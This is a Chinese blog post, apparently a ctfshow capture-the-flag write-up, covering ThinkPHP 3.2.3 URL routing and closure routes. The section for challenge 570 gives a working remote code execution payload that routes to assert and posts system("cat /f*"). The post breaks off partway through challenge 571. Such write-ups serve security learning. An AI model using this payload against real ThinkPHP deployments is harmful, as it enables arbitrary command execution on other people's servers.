ctfshow thinkPHP专题

这篇博客详细介绍了ThinkPHP3.23版本的相关知识,包括URL访问规则,如何通过入口文件访问模块、控制器和操作。还探讨了闭包的定义和参数传递,并提醒开发者注意在debug模式下可能存在的日志文件泄露风险。此外,文章还提到了SQL注入和反序列化漏洞,但未深入展开讨论。
摘要由CSDN通过智能技术生成

569-Thinkphp3.23的url访问规则

https://www.kancloud.cn/manual/thinkphp/1697

URL模式
入口文件是应用的单一入口,对应用的所有请求都定向到应用入口文件,系统会从URL参数中解析当前请求的模块、控制器和操作:

http://serverName/index.php/模块/控制器/操作 这是3.2版本的标准URL格式。

可以通过设置模块绑定或者域名部署等方式简化URL地址中的模块及控制器名称。

所以
访问
url/index.php/Admin/Login/ctfshowLogin即可

570-ThinkPHP3.23的闭包规则

https://www.kancloud.cn/manual/thinkphp/1710
闭包定义
我们可以使用闭包的方式定义一些特殊需求的路由,而不需要执行控制器的操作方法了,例如:

'URL_ROUTE_RULES'=>array(
    'test'        => 
        function(){
    
            echo 'just test';
        },
    'hello/:name' => 
        function($name){
    
            echo 'Hello,'.$name;
        }

参数传递
闭包定义的参数传递在规则路由和正则路由的两种情况下有所区别。

规则路由
规则路由的参数传递比较简单:

'hello/:name' => 
    function($name){
    
        echo 'Hello,'.$name;
    }

规则路由中定义的动态变量的名称 就是闭包函数中的参数名称,不分次序。 因此,如果我们访问的URL地址是: http://serverName/Home/hello/thinkphp

则浏览器输出的结果是: Hello,thinkphp

/index.php/ctfshow/assert/$_POST[1]
1=system("cat /f*")

571-thinkPHP3.23 show方法渲染模板

如果你没有定义任何## 标题模板文件,或者把模板内容存储到数据库中的话,你就需要使用show方法来渲染输出了,show方法的调用格式:

sho
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值